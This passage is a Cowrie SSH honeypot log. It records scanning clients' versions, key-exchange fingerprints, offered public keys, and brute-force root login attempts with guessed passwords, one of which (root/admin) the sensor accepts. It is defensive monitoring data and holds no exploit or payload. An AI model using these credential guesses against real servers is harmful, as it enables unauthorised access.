CS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:15.318210Z","src_ip":"109.172.54.111","session":"2388386e17e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyw","message":"login attempt [root/qwertyw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:15.642904Z","src_ip":"109.172.54.111","session":"2388386e17e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:16.744986Z","src_ip":"109.172.54.111","session":"2388386e17e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":57414,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4743428e204","protocol":"ssh","message":"New connection: 77.94.47.83:57414 (10.17.0.5:22) [session: b4743428e204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:21.865700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:21.873953Z","src_ip":"77.94.47.83","session":"b4743428e204","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:22.001473Z","src_ip":"77.94.47.83","session":"b4743428e204","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10101010","message":"login attempt [root/10101010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:22.382237Z","src_ip":"77.94.47.83","session":"b4743428e204","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:23.513042Z","src_ip":"77.94.47.83","session":"b4743428e204","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.42.116.16","src_port":10194,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a149017e5f1","protocol":"ssh","message":"New connection: 192.42.116.16:10194 (10.17.0.5:22) [session: 8a149017e5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:26.682614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.9","message":"Remote SSH version: SSH-2.0-OpenSSH_9.9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:26.925077Z","src_ip":"192.42.116.16","session":"8a149017e5f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1cc79c7da9b5d5eead2c60983332a556","hasshAlgorithms":"sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1cc79c7da9b5d5eead2c60983332a556","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:27.015443Z","src_ip":"192.42.116.16","session":"8a149017e5f1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:28.041475Z","src_ip":"192.42.116.16","session":"8a149017e5f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:28.045377Z","src_ip":"192.42.116.16","session":"8a149017e5f1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:28.290537Z","src_ip":"192.42.116.16","session":"8a149017e5f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":60692,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8b61b5aa929","protocol":"ssh","message":"New connection: 103.149.170.125:60692 (159.203.135.109:22) [session: e8b61b5aa929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:31.695436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:31.700915Z","src_ip":"103.149.170.125","session":"e8b61b5aa929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:31.960828Z","src_ip":"103.149.170.125","session":"e8b61b5aa929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"legenda","message":"login attempt [root/legenda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:32.741417Z","src_ip":"103.149.170.125","session":"e8b61b5aa929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:34.007606Z","src_ip":"103.149.170.125","session":"e8b61b5aa929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.233.211","src_port":17332,"dst_ip":"10.17.0.5","dst_port":22,"session":"97390a8a5a5b","protocol":"ssh","message":"New connection: 50.7.233.211:17332 (10.17.0.5:22) [session: 97390a8a5a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:39.158069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:39.162356Z","src_ip":"50.7.233.211","session":"97390a8a5a5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:39.248408Z","src_ip":"50.7.233.211","session":"97390a8a5a5b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:13:09:e6:31:3d:71:e2:36:c1:c6:6d:0d:ef:e3:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKWwQ8xsb0ochKNLyUGUzKCwfu0AjpWFrvgtRRctrtZeygIr7kt4/FYEQv/KbxMQktbCSC8UYuGMwkqgznFP/URcWmmeMT/xcUTls+hmDiiczYT/ikZ6bMk57T3rFFRDvWEIlS4iadlVB0PD1VI51ezX8iB5kwbmKukZ7kLrOJtKRmYMBNLuRQSjpcjRnWmm96vz0kSeC1d5hB3SypTAyzdCMlaejFcYYXUZDpP8tum7CyPQMWFllb5VvN74zvSD2DeUMU/Y6uqVnUFKX3+Y2CCY7OY7YA5x5R4I+yKF4k9v8VKnJRnNSnQloEt5tDSokKE/2229srMUNd4ZHQCO7d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:13:09:e6:31:3d:71:e2:36:c1:c6:6d:0d:ef:e3:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:39.645942Z","src_ip":"50.7.233.211","session":"97390a8a5a5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:13:09:e6:31:3d:71:e2:36:c1:c6:6d:0d:ef:e3:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKWwQ8xsb0ochKNLyUGUzKCwfu0AjpWFrvgtRRctrtZeygIr7kt4/FYEQv/KbxMQktbCSC8UYuGMwkqgznFP/URcWmmeMT/xcUTls+hmDiiczYT/ikZ6bMk57T3rFFRDvWEIlS4iadlVB0PD1VI51ezX8iB5kwbmKukZ7kLrOJtKRmYMBNLuRQSjpcjRnWmm96vz0kSeC1d5hB3SypTAyzdCMlaejFcYYXUZDpP8tum7CyPQMWFllb5VvN74zvSD2DeUMU/Y6uqVnUFKX3+Y2CCY7OY7YA5x5R4I+yKF4k9v8VKnJRnNSnQloEt5tDSokKE/2229srMUNd4ZHQCO7d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:39.652466Z","src_ip":"50.7.233.211","session":"97390a8a5a5b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:73:88:66:ca:4f:73:e7:6c:c0:bc:9e:7c:c7:cc:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAn6Quci0cR4R6QPqTNx4gxUJfYyP2dVyfbuiF5gELfAIWzo52shh+V+V0FQniag/gjDChrTjQZCQimr2Jiz8wLlXO4GR7mlnpZZva95Pz+KrYM7ivHP2x4BV8rHsaBa+GsmoUyZxDIbWcCgToF0wZxIKuZUTdTF8OkzKvqch6SVWKTSMTxFSUApB1JyblkphGYVMpQJyGSDffxHCdq04CI6zSaPky/TLZP00Fu3OB41k9vP5jHuBMw4Dccw3v0uF7Iib1zLZP52w33UAtMVLqwlx6/3dDj/luR0a7L3a4RkCWEzXb32dDkYZ/zaAcwaJJsfgj8c7Z/QVDTO4RF1g97w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:73:88:66:ca:4f:73:e7:6c:c0:bc:9e:7c:c7:cc:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:39.737230Z","src_ip":"50.7.233.211","session":"97390a8a5a5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:73:88:66:ca:4f:73:e7:6c:c0:bc:9e:7c:c7:cc:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAn6Quci0cR4R6QPqTNx4gxUJfYyP2dVyfbuiF5gELfAIWzo52shh+V+V0FQniag/gjDChrTjQZCQimr2Jiz8wLlXO4GR7mlnpZZva95Pz+KrYM7ivHP2x4BV8rHsaBa+GsmoUyZxDIbWcCgToF0wZxIKuZUTdTF8OkzKvqch6SVWKTSMTxFSUApB1JyblkphGYVMpQJyGSDffxHCdq04CI6zSaPky/TLZP00Fu3OB41k9vP5jHuBMw4Dccw3v0uF7Iib1zLZP52w33UAtMVLqwlx6/3dDj/luR0a7L3a4RkCWEzXb32dDkYZ/zaAcwaJJsfgj8c7Z/QVDTO4RF1g97w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:39.741588Z","src_ip":"50.7.233.211","session":"97390a8a5a5b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:f7:82:9a:6f:26:ad:13:8a:d6:0b:08:ca:37:05:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6FnEcuC1fQf6LXE/WfOAJU6N+eedGxBDzWMS8nb8zquQrUW0CR4lrbOqa2BiULCfZ3ZMeCKCS3EMdZS+eWHWMYt+q8hxPzXU9RyNxhXa/ZkXneJMek9xrvJVqBHgtlSV5qWBSkpyEjKvEhiFUKgEsRLn1Xz6yV75vs73VixY9Z+jLUuhjsek/xlxiTr60ISkh+Bd8YyzdWXac1qbbEC0oL63pJJUqatd80JjGP7XYEkg+iDjXE9UrqstEy9C/Rxwrn1QcdIJQVYBgm4g5d18zaEIUo63BhUhSzE1Ly6SYZBBJIwourO+819S3//O25L2e6G9gexv+uJB5DFuZymBow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:f7:82:9a:6f:26:ad:13:8a:d6:0b:08:ca:37:05:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:39.825621Z","src_ip":"50.7.233.211","session":"97390a8a5a5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:f7:82:9a:6f:26:ad:13:8a:d6:0b:08:ca:37:05:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6FnEcuC1fQf6LXE/WfOAJU6N+eedGxBDzWMS8nb8zquQrUW0CR4lrbOqa2BiULCfZ3ZMeCKCS3EMdZS+eWHWMYt+q8hxPzXU9RyNxhXa/ZkXneJMek9xrvJVqBHgtlSV5qWBSkpyEjKvEhiFUKgEsRLn1Xz6yV75vs73VixY9Z+jLUuhjsek/xlxiTr60ISkh+Bd8YyzdWXac1qbbEC0oL63pJJUqatd80JjGP7XYEkg+iDjXE9UrqstEy9C/Rxwrn1QcdIJQVYBgm4g5d18zaEIUo63BhUhSzE1Ly6SYZBBJIwourO+819S3//O25L2e6G9gexv+uJB5DFuZymBow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:39.829760Z","src_ip":"50.7.233.211","session":"97390a8a5a5b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:17:25:d2:1f:0f:0d:0b:f9:7e:21:c5:27:9a:2f:94","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANpu7CFbC9z4c7oRgRpTd5EyZc38/uKJDdWpK4DOM/bsY/0GsnfzYZg1RBEgy7JXaDBKcyWRbAI8pTvARcXQlmSUX0s/PHNDAm8vy1AKLKv7chwSNWlgtdZYy3bFIiAHNhuiMGip0kA0vjUJHcTLcwiG30ybUUG4M78sgzyMhdPrAAAAFQC01pwF0JVpxj2QxzZpcBchaiWhwQAAAIAS2fPccqzdsAKTZDZuCRRdjpLhn3SjDPJAJcosMKJyt2Ozu+r8K/nl4B78IjBGezKg0DTBAOWfeSKzgIzhz4q5rCyB2I6eQuVLpSwooCxORGfrm42hLJWMkNKHPltxBxu87nN8SeJ0VEkJU+ZFt4E2dhJxXFgBLWEwjkns9f2VDQAAAIATqO4ErfyToL8lnBhiI1UY1O7+iH3EB6e3hvDPHIc8X1qs6il7/9vWLvGXxgKCLBaphXo73QWGPBlsF4sEBy+TDQRWuVmxRaKq61EQy7tAK7fImdDyZjMAf0a5TJ3RJyndk6maGo6jfot6L2yd1r5t63HLBncLkKsh44Mkawy0Ew==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint c5:17:25:d2:1f:0f:0d:0b:f9:7e:21:c5:27:9a:2f:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:39.915135Z","src_ip":"50.7.233.211","session":"97390a8a5a5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:17:25:d2:1f:0f:0d:0b:f9:7e:21:c5:27:9a:2f:94","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANpu7CFbC9z4c7oRgRpTd5EyZc38/uKJDdWpK4DOM/bsY/0GsnfzYZg1RBEgy7JXaDBKcyWRbAI8pTvARcXQlmSUX0s/PHNDAm8vy1AKLKv7chwSNWlgtdZYy3bFIiAHNhuiMGip0kA0vjUJHcTLcwiG30ybUUG4M78sgzyMhdPrAAAAFQC01pwF0JVpxj2QxzZpcBchaiWhwQAAAIAS2fPccqzdsAKTZDZuCRRdjpLhn3SjDPJAJcosMKJyt2Ozu+r8K/nl4B78IjBGezKg0DTBAOWfeSKzgIzhz4q5rCyB2I6eQuVLpSwooCxORGfrm42hLJWMkNKHPltxBxu87nN8SeJ0VEkJU+ZFt4E2dhJxXFgBLWEwjkns9f2VDQAAAIATqO4ErfyToL8lnBhiI1UY1O7+iH3EB6e3hvDPHIc8X1qs6il7/9vWLvGXxgKCLBaphXo73QWGPBlsF4sEBy+TDQRWuVmxRaKq61EQy7tAK7fImdDyZjMAf0a5TJ3RJyndk6maGo6jfot6L2yd1r5t63HLBncLkKsh44Mkawy0Ew==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:39.919698Z","src_ip":"50.7.233.211","session":"97390a8a5a5b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:f6:26:9f:cf:e0:79:1e:e0:b0:f3:c4:14:99:65:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC+ixJj4L80fOQPJ2/UXRoCd5iG1Y3Sz9rPdgOSjFtzOKk+XKjuiJiLC1MkAnalUal729fGrSaAjsWnAxGZofoDhcCmg0HHbsDtB5/XOpHR7s3xRDav6A9q+XNYpbM3UdmG5NzPnbpMJaTXTf1L3RBe9KtY4MK6JvKWJbz7oRwo8BUx37JTvtR5KyAji7+iMk7kEgNa0/Pp1tyOoy9dqp/taYFA6JdEMsBGSHl1cxtsBVjzL+cgqoSMI1nG8b6VFxEyr/NTRnwTiPkijBs2Mi/HJ2xy3JMdgSiHzcjHq6RCqq82iJ87UpKWEDGZOIzHe2QebC4R8VbW0V+wqeT9SeH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 